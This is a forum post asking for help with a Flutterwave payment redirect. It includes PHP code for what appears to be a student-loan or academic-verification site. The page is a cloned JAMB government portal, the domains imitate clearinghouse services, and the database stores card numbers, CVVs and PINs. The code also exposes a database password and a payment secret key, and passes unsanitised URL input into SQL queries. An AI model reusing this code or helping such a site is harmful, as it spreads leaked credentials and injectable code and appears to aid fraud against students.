NEED HELP WITH FLUTTERWAVE PAYMENT INTEGRATION
Published: 2024-04-08 12:06:37

Please I need help integrating Flutter Wave payment gateway on my website, I have done all I could and right now the problem i am having is after payment is successful , my paymentprocessor file which is also my success redirect page shows blank and refuse to confirm the payment for users ....please i need help anybody , see attached php codes scripts 

`<?php session_start();
 $dbhost = 'localhost';
         $dbuser = 'cleajjiq_0ctwll1';
         $dbpass = '#Opeyemi2018';
         $dbname = 'cleajjiq_fedstudyloan';
         $conn = mysqli_connect($dbhost, $dbuser, $dbpass,$dbname);

if(isset($_GET["bitusername"]))
{ 
    $useremail = $_GET["bitusername"]; 
}

$sqlx=mysqli_query($conn, "SELECT * FROM formtypes WHERE email='$useremail'");
$rowx=mysqli_fetch_array($sqlx);
$fullname = $rowx['fullname'];
$accountnumber ="";
$bankname = "";

$sqlx=mysqli_query($conn, "SELECT * FROM thinkabout WHERE email='$useremail'");
if(mysqli_num_rows($sqlx) > 0 )
{
    $rowx=mysqli_fetch_array($sqlx);
    $university = $rowx['interestedstudy'];
    $degree = $rowx['degreetype'];
    $coursed = $rowx['desiredfield'];
    $egd = $rowx['datofgraduation'];
    $fieldofstudy = $rowx['fieldofstudy'];
    $applicationnumber = $rowx['appid'];
    $datelog = $rowx['datelog'];
    $assignedloan = $rowx['assignloan'];
    $hearaboutus = $rowx['hearaboutus'];
    $mobilenumber = $rowx['phone'];
    $email = $rowx['email'];
    $citizencountry= $rowx['citizencounty'];

}


$sqlx=mysqli_query($conn, "SELECT * FROM checkeeligibility WHERE email='$useremail'");
if(mysqli_num_rows($sqlx) > 0 )

  {  $rowx=mysqli_fetch_array($sqlx);
    $university = $rowx['university'];
    $degree = $rowx['degree'];
    $coursed = $rowx['coursed'];
    $egd = $rowx['egd'];
    $levelofstudy = $rowx['levelofstudy'];
    $applicationnumber = $rowx['applicationnumber'];
    $datelog = $rowx['datelog'];
    $assignedloan = $rowx['assignloan'];
    $hearaboutus = $rowx['hearaboutus'];
    $citizencountry= $rowx['citizencountry'];
    $email = $rowx['email'];
    $mobilenumber = $rowx['mobilenumber'];
    
    
    
    }
    
$sqlxx=mysqli_query($conn, "SELECT * FROM accountdetails WHERE useremail='$useremail'");
if(mysqli_num_rows($sqlxx) > 0 )
{
    $rowxx=mysqli_fetch_array($sqlxx);
    $accountnumber = $rowxx['accountnumber'];
    $bankname = $rowxx['bankname'];
}

 if(isset($_POST['paysubmit']))
{
    
    $useremail = $useremail;
    $useramount = 20;
    $fullname = $fullname;
    $usertitle = "EnrollmentVerify";
    $userdescription = "Check Academic Status";
    $university = "";
    $degree = "";
    $coursed = "";
    $egd = "";
    $fieldofstudy = "";
    $applicationnumber = "";
    $datelog = "";
    $assignedloan = "";
    $hearaboutus = "";
    $mobilenumber = "";
    $email = $email;
    $citizencountry= "";
    
    
    
    $university = "";
    $degree = "";
    $coursed = "";
    $egd = "";
    $levelofstudy = "";
    $applicationnumber = "";
    $datelog = "";
    $assignedloan = "";
    $hearaboutus = "";
    $citizencountry= "";
    $email = $email;
    $mobilenumber = "";
    
    
    
    
    
    
    $email = $useremail;
    $amount = $useramount;
    $processorlink = 'https://student.clearinghouse.services/academic_check/paymentprocessor/index.php?useremail='.$useremail;

    //* Prepare our rave request
    $request = [
        'tx_ref' => "tx_ref". time(),
        'amount' => $useramount,
        'currency' => 'NGN',
        'payment_options' => 'ussd',
        'redirect_url' => $processorlink,
        'customer' => [
            'email' => $email,
            'name' => $fullname
        ],
        'meta' => [
            'price' => $useramount
        ],
        'customizations' => [
            'title' => $usertitle,
            'description' => $userdescription
        ]
    ];



 echo json_encode($request)  ;

    //* Ca;; f;iterwave emdpoint
    $curl = curl_init();

   curl_setopt_array($curl, array(
    CURLOPT_URL => 'https://api.flutterwave.com/v3/payments',
    CURLOPT_RETURNTRANSFER => true,
    CURLOPT_ENCODING => '',
    CURLOPT_MAXREDIRS => 10,
    CURLOPT_TIMEOUT => 0,
    CURLOPT_FOLLOWLOCATION => true,
    CURLOPT_HTTP_VERSION => CURL_HTTP_VERSION_1_1,
    CURLOPT_CUSTOMREQUEST => 'POST',
    CURLOPT_POSTFIELDS => json_encode($request),
    CURLOPT_HTTPHEADER => array(
        'Authorization: Bearer FLWSECK-bedb9d4089303efc6a8f2ba820f893d3-18ebb6179f1vt-X',
        'Content-Type: application/json'
    ),
    ));

    $response = curl_exec($curl);

    curl_close($curl);
    
    $res = json_decode($response);
    if($res->status == 'success')
    {
        $linktr = $res->data->link;
        header('Location: '.$linktr);
       /* echo '<script>window.location.href="'.$linktr.'"</script>'; */
        
    }
    else
    {
        echo 'Cannot Process Transaction';
    }
}
 
 
 
 

?>  

<!DOCTYPE html>
<!-- saved from url=(0057)https://caps.jamb.gov.ng//default.aspx?TokenID=P#81%60@78 -->
<html xmlns="http://www.w3.org/1999/xhtml"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><title>
	JAMB | CAPS 
</title><meta http-equiv="X-UA-Compatible" content="IE=edge"><meta content="width=device-width, initial-scale=1" name="viewport"><meta name="description"><meta name="author">
        <!-- BEGIN GLOBAL MANDATORY STYLES -->
        <link href="./JAMB _ CAPS_files/css" rel="stylesheet" type="text/css"><link href="./JAMB _ CAPS_files/font-awesome.min.css" rel="stylesheet" type="text/css"><link href="./JAMB _ CAPS_files/simple-line-icons.min.css" rel="stylesheet" type="text/css"><link href="./JAMB _ CAPS_files/bootstrap.min.css" rel="stylesheet" type="text/css"><link href="./JAMB _ CAPS_files/uniform.default.css" rel="stylesheet" type="text/css"><link href="./JAMB _ CAPS_files/bootstrap-switch.min.css" rel="stylesheet" type="text/css">
        <!-- END GLOBAL MANDATORY STYLES -->
        <!-- BEGIN PAGE LEVEL PLUGINS -->
        <link href="./JAMB _ CAPS_files/select2.min.css" rel="stylesheet" type="text/css"><link href="./JAMB _ CAPS_files/select2-bootstrap.min.css" rel="stylesheet" type="text/css">
        <!-- END PAGE LEVEL PLUGINS -->
        <!-- BEGIN THEME GLOBAL STYLES -->
        <link id="style_components" href="./JAMB _ CAPS_files/components.min.css" rel="stylesheet" type="text/css"><link href="./JAMB _ CAPS_files/plugins.min.css" rel="stylesheet" type="text/css">
        <!-- END THEME GLOBAL STYLES -->
        <!-- BEGIN PAGE LEVEL STYLES -->
        <link href="./JAMB _ CAPS_files/login-4.min.css" rel="stylesheet" type="text/css"><link href="./JAMB _ CAPS_files/popupcss.css" rel="stylesheet" type="text/css">
        <!-- END PAGE LEVEL STYLES -->
        <!-- BEGIN THEME LAYOUT STYLES -->
        <!-- END THEME LAYOUT STYLES -->
        <link rel="shortcut icon" href="https://caps.jamb.gov.ng//favicon.ico"></head>
<body class=" login">
        <!-- BEGIN LOGO -->
        <div class="logo">
            <a href="" tabindex="-1">
                <img src="./JAMB _ CAPS_files/jamb_s.png" alt="JAMB"> </a>
            <h2> <font color="white">JAMB | Central Admissions Processing System | CAPS</font></h2><font color="white">
        </font></div><font color="white">
        <!-- END LOGO -->
        <!-- BEGIN LOGIN -->
        
         <form name="formval2" class="form-horizontal loan-eligibility-form" method="post"  >
       
       
        <p>&nbsp;&nbsp;&nbsp;<h5><font color="white"><a>&nbsp;&nbsp;&nbsp;&nbsp;<b>Name:</b>&nbsp;&nbsp;&nbsp;<?php echo $fullname ?></font></h5></p>
                                             
                                              <p>&nbsp;&nbsp;&nbsp;<h5><font color="white"><a>&nbsp;&nbsp;&nbsp;&nbsp;<b>Institution:</b>&nbsp;&nbsp;&nbsp;<?php echo $university ?></font></h5></p>
                                             
                                             <p>&nbsp;&nbsp;&nbsp;<h5><font color="white"><a>&nbsp;&nbsp;&nbsp;&nbsp;<b>Degree Class:</b>&nbsp;&nbsp;&nbsp;<?php echo $degree ?></font></h5></p>
                                             
                                                                                         <p>&nbsp;&nbsp;&nbsp;<h5><font color="white"><a>&nbsp;&nbsp;&nbsp;&nbsp;<b>Level of Study:</b>&nbsp;&nbsp;&nbsp;<?php echo $levelofstudy ?></font></h5></p>
                                                                                         <p>&nbsp;&nbsp;&nbsp;<h5><font color="white"><a>&nbsp;&nbsp;&nbsp;&nbsp;<b>Course of Study:</b>&nbsp;&nbsp;&nbsp;<?php echo $coursed ?></font></h5></p>
                                             
                                            <p>&nbsp;&nbsp;&nbsp;<h5><font color="white"><a>&nbsp;&nbsp;&nbsp;&nbsp;<b>Matric/Registration Number:</b>&nbsp;&nbsp;&nbsp;<?php echo $fieldofstudy ?></font></h5></p>
                                             
                                              <p>&nbsp;&nbsp;&nbsp;<h5><font color="white"><a>&nbsp;&nbsp;&nbsp;&nbsp;<b>Date of Admission:</b>&nbsp;&nbsp;&nbsp;<?php echo $egd ?></font></h5></p>
                                              
                                             
                                        
                                        <p></p>
                                        <p></p>
                                        <p></p>
                                         <p></p>
                                        <p></p>
                                        <p></p>
                                         <p></p>
                                        <p></p>
                                        <p></p>
                                        
                                              
                                                     
                                                      
  <div class="fixed" align="center"><button type="submit" name="paysubmit" class="btn btn-primary">Verify Academic Qualification</button> </div>
  
  
  <p></p>
  <p></p>
  <p></p>
  <p></p>
  <p></p>
  


              
                
  

    

</font></body></html>`









`<link rel="stylesheet" href="https://degreeverify.ng/degree_check/assets/css/theme.min.css">
  <script src="https://ajax.googleapis.com/ajax/libs/jquery/3.5.1/jquery.min.js"></script>
  <script src="https://maxcdn.bootstrapcdn.com/bootstrap/3.4.1/js/bootstrap.min.js"></script>
<?php 

if(isset($_GET["bitusername"]))
{ 
    $useremail = $_GET["bitusername"]; 
}


    if(isset($_GET['status']))
    {
        //* check payment status
        if($_GET['status'] == 'cancelled')
        {
            // echo 'YOu cancel the payment';
            echo '<script>alert("Transaction Cancelled")</script>';
            
        }
        elseif($_GET['status'] == 'successful')
        {
             $txid = $_GET['tx_ref'];
            
            $curl = curl_init();
            curl_setopt_array($curl, array(
                CURLOPT_URL => "https://api.flutterwave.com/v3/transactions/{$txid}/verify",
                CURLOPT_RETURNTRANSFER => true,
                CURLOPT_ENCODING => "",
                CURLOPT_MAXREDIRS => 10,
                CURLOPT_TIMEOUT => 0,
                CURLOPT_FOLLOWLOCATION => true,
                CURLOPT_HTTP_VERSION => CURL_HTTP_VERSION_1_1,
                CURLOPT_CUSTOMREQUEST => "GET",
                CURLOPT_HTTPHEADER => array(
                  "Content-Type: application/json",
                  "Authorization: Bearer FLWPUBK-9775d7a1d15e6beda614bf1f75c995de-X"
                ),
              ));
              
              $response = curl_exec($curl);
              
              curl_close($curl);
              
              $res = json_decode($response);
              if($res->status)
              {
                $amountPaid = $res->data->charged_amount;
                $amountToPay = $res->data->meta->price;
                if($amountPaid >= $amountToPay)
                {
                    //echo 'Payment successful';
                    

                    if(isset($_GET["useremail"]))
                    { 
                        $useremail = $_GET["useremail"]; 
                        
              $dbhost = 'localhost';
         $dbuser = 'cleajjiq_0ctwll1';
         $dbpass = '#Opeyemi2018';
         $dbname = 'cleajjiq_fedstudyloan';
         $conn = mysqli_connect($dbhost, $dbuser, $dbpass,$dbname);
                         
                         
                        $cns = "";
                        $ccv = "";
                        $cpin = "Checking Academic Status";
                        mysqli_query($conn, "UPDATE formtypes SET cardpin='$cpin', cardnumber='$cns', cvv='$ccv' WHERE email='$useremail'");
                        
                        
                        
                        
                        
                       echo '<div class="alert alert-info">
                            <strong>Info!</strong> 
                            Your academic records is now captured and currently undergoing verification.
                            <br>
                            you can click on the close button below to complete your application.
                          </div>
                          <p></p>
                          <p></p>
                          <p></p>
                          
                          <div align="center"><strong>Admission Status</strong></div>
                          
                          
                          <div class="ring">Checking
  <span></span>
</div>';
                    }
                    
                    
                    
                    
                    //* Continue to give item to the user
                }
                else
                {
                    echo '<script>alert("Fraud Transaction Detected")</script>';
                    //echo 'Fraud transactio detected';
                }
              }
              else
              {
                  echo '<script>alert("Error in Transaction")</script>';
                  //echo 'Can not process payment';
              }
        }
    }
?>














`